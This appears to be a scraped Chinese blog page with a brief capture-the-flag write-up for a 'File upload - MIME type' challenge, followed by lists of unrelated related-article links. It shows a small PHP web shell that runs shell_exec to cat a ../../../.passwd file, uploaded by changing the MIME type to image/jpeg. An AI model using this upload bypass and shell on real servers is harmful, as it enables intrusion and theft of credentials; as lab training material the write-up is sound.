Your goal is to hack this photo galery by uploading PHP code.
Retrieve the validation password in the file .passwd.
>

修改mime type类型即可,常用类型:

  • 超文本标记语言:.html text.html

  • 普通文件:.txt text/plain

  • RTF文件:.rtf application/rtf

  • GIF图形:.gif image/gif

  • JPEG图形:.jpeg,.jpg image/jpeg

<?php
  $a = shell_exec("cat ../../../.passwd");

  echo "</pre>$a</pre>";
?>

再上传php中将mime type 更改为image/jpeg

File upload - MIME type的更多相关文章

  1. 【转发】Html5 File Upload with Progress

    Html5 File Upload with Progress               Posted by Shiv Kumar on 25th September, 2010Senior Sof ...

  2. Getting A Mime Type From A File Name In .NET Core

    Getting a mime type based on a file name (Or file extension), is one of those weird things you never ...

  3. jQuery File Upload

    jQuery File Upload介绍.............................................. 2 实现基本原理......................... ...

  4. Golang Multipart File Upload Example

    http://matt.aimonetti.net/posts/2013/07/01/golang-multipart-file-upload-example/ The Go language is ...

  5. File Upload XSS

    A file upload is a great opportunity to XSS an application. User restricted area with an uploaded pr ...

  6. RFC1867 HTTP file upload

    RFC1867 HTTP file upload RFC1867 is the standard definition of that "Browse..." button tha ...

  7. Pikachu-File Inclusion, Unsafe file download & Unsafe file upload

    Pikachu-File Inclusion, Unsafe file download & Unsafe file upload 文件包含漏洞 File Inclusion(文件包含漏洞)概 ...

  8. DVWA File Upload 通关教程

    File Upload,即文件上传.文件上传漏洞通常是由于对上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁 ...

  9. jQuery File Upload 单页面多实例的实现

    jQuery File Upload 的 GitHub 地址:https://github.com/blueimp/jQuery-File-Upload 插件描述:jQuery File Upload ...

随机推荐

  1. mysql获取某个字段平均值方法AVG函数的使用

    直接上脚本 ,)) AS 平均分 FROM students WHERE sex= '男' 其中,特别说明一下CAST关键字 CAST(字段名 as 要转换的类型) #其中,可以转换的类型为: CHA ...

  2. [個人紀錄] git 設定

    -- git history git config --global alias.history=log --graph --all --pretty=format:'%C(bold blue)%H% ...

  3. person类与其子类在使用中的内存情况(含java的改写和c#的屏蔽)

    JAVA 普通person类及调用代码: public class Person { public String xm; public int nl; public void setme(String ...

  4. C# zip压缩 Ionic.Zip.dll

    #region Ionic.Zip压缩文件 //压缩方法一 public void ExeCompOne() { string FileName = DateTime.Now.ToString(&qu ...

  5. 实验代码:const* 和 const&

  6. git 忽略提交

    在git中如果想忽略掉某个文件,不让这个文件提交到版本库中,可以使用修改 .gitignore 文件的方法. git目录下新建一个.gitignore(window下使用git bash工具或者cmd ...

  7. Python面向对象继承案例

    面向对象三大特性 封装 根据 职责 将 属性 和 方法 封装 到一个抽象的 类 中 继承 实现代码的重用,相同的代码不需要重复的编写 多态 不同的对象调用相同的方法,产生不同的执行结果,增加代码的灵活 ...

  8. JAVA 架构和技术框架百科

    YApi 是高效.易用.功能强大的 api 管理平台,旨在为开发.产品.测试人员提供更优雅的接口管理服务.可以帮助开发者轻松创建.发布.维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只 ...

  9. ajax分页和搜索

    //控制器function show(Request $request){ $page=$request->page?$request->page:1; $size=4; $pian=($ ...

  10. 对Sql Server执行计划的浅显了解。

    一名大三的小学生,今天开始我的第一篇博客,最近随便做了一个简易的酒店管理系统,对sql执行计划有了初步的了解. 查看上面语句的预估执行计划,在工具栏中有这个按钮 聚集索引扫描被称为Index Scan ...